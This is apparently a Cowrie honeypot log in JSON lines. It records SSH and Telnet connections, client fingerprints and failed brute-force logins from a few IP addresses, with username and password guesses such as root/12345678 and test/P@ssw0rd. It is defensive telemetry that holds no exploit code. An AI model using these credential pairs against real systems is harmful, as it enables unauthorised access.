{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:26.977403Z","src_ip":"165.154.137.186","session":"9851f8453db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"locate","password":"locatepw","message":"login attempt [locate/locatepw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:27.379496Z","src_ip":"154.90.70.69","session":"b56e6c33dbd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:27.738822Z","src_ip":"165.154.137.186","session":"9851f8453db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0016050338745117,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:28.580054Z","src_ip":"154.90.70.69","session":"b56e6c33dbd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:28.994346Z","src_ip":"165.154.137.186","session":"9851f8453db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55532,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b069be97475","protocol":"ssh","message":"New connection: 165.154.137.186:55532 (10.17.0.5:22) [session: 9b069be97475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:32.328831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:32.331892Z","src_ip":"165.154.137.186","session":"9b069be97475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:32.584313Z","src_ip":"165.154.137.186","session":"9b069be97475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37652,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f54dbb13adc","protocol":"ssh","message":"New connection: 165.154.137.186:37652 (10.17.0.5:22) [session: 2f54dbb13adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:33.253684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:33.257432Z","src_ip":"165.154.137.186","session":"2f54dbb13adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:33.345479Z","src_ip":"165.154.137.186","session":"9b069be97475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:33.511643Z","src_ip":"165.154.137.186","session":"2f54dbb13adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:34.279526Z","src_ip":"165.154.137.186","session":"2f54dbb13adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:34.587146Z","src_ip":"8.210.75.243","session":"078602ba2ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:34.599522Z","src_ip":"165.154.137.186","session":"9b069be97475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:35.536208Z","src_ip":"165.154.137.186","session":"2f54dbb13adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37660,"dst_ip":"10.17.0.5","dst_port":22,"session":"1759b6a35fb2","protocol":"ssh","message":"New connection: 165.154.137.186:37660 (10.17.0.5:22) [session: 1759b6a35fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:37.206496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:37.210710Z","src_ip":"165.154.137.186","session":"1759b6a35fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:37.469894Z","src_ip":"165.154.137.186","session":"1759b6a35fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:38.247346Z","src_ip":"165.154.137.186","session":"1759b6a35fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:39.508818Z","src_ip":"165.154.137.186","session":"1759b6a35fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48792,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b7d9978b45","protocol":"ssh","message":"New connection: 165.154.137.186:48792 (10.17.0.5:22) [session: f6b7d9978b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:41.796752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:41.800308Z","src_ip":"165.154.137.186","session":"f6b7d9978b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:42.058598Z","src_ip":"165.154.137.186","session":"f6b7d9978b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:42.844199Z","src_ip":"165.154.137.186","session":"f6b7d9978b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:44.105229Z","src_ip":"165.154.137.186","session":"f6b7d9978b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48808,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a09097c263","protocol":"ssh","message":"New connection: 165.154.137.186:48808 (10.17.0.5:22) [session: d8a09097c263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:47.668483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:47.673483Z","src_ip":"165.154.137.186","session":"d8a09097c263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:47.934296Z","src_ip":"165.154.137.186","session":"d8a09097c263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:48.745003Z","src_ip":"165.154.137.186","session":"d8a09097c263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39068,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cd5fb7bc38","protocol":"ssh","message":"New connection: 91.92.40.4:39068 (10.17.0.5:22) [session: 62cd5fb7bc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:49.801682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:49.805454Z","src_ip":"91.92.40.4","session":"62cd5fb7bc38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:49.888768Z","src_ip":"91.92.40.4","session":"62cd5fb7bc38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:50.008321Z","src_ip":"165.154.137.186","session":"d8a09097c263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:50.136651Z","src_ip":"91.92.40.4","session":"62cd5fb7bc38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48810,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b884ee2c8d6","protocol":"ssh","message":"New connection: 165.154.137.186:48810 (10.17.0.5:22) [session: 4b884ee2c8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:51.180066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:51.185241Z","src_ip":"165.154.137.186","session":"4b884ee2c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:51.221302Z","src_ip":"91.92.40.4","session":"62cd5fb7bc38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:51.442412Z","src_ip":"165.154.137.186","session":"4b884ee2c8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:52.214305Z","src_ip":"165.154.137.186","session":"4b884ee2c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:53.473504Z","src_ip":"165.154.137.186","session":"4b884ee2c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":55528,"dst_ip":"159.203.135.109","dst_port":22,"session":"56221dc2a310","protocol":"ssh","message":"New connection: 159.65.58.200:55528 (159.203.135.109:22) [session: 56221dc2a310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:00.794782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:00.938650Z","src_ip":"159.65.58.200","session":"56221dc2a310","protocol":"ssh"}
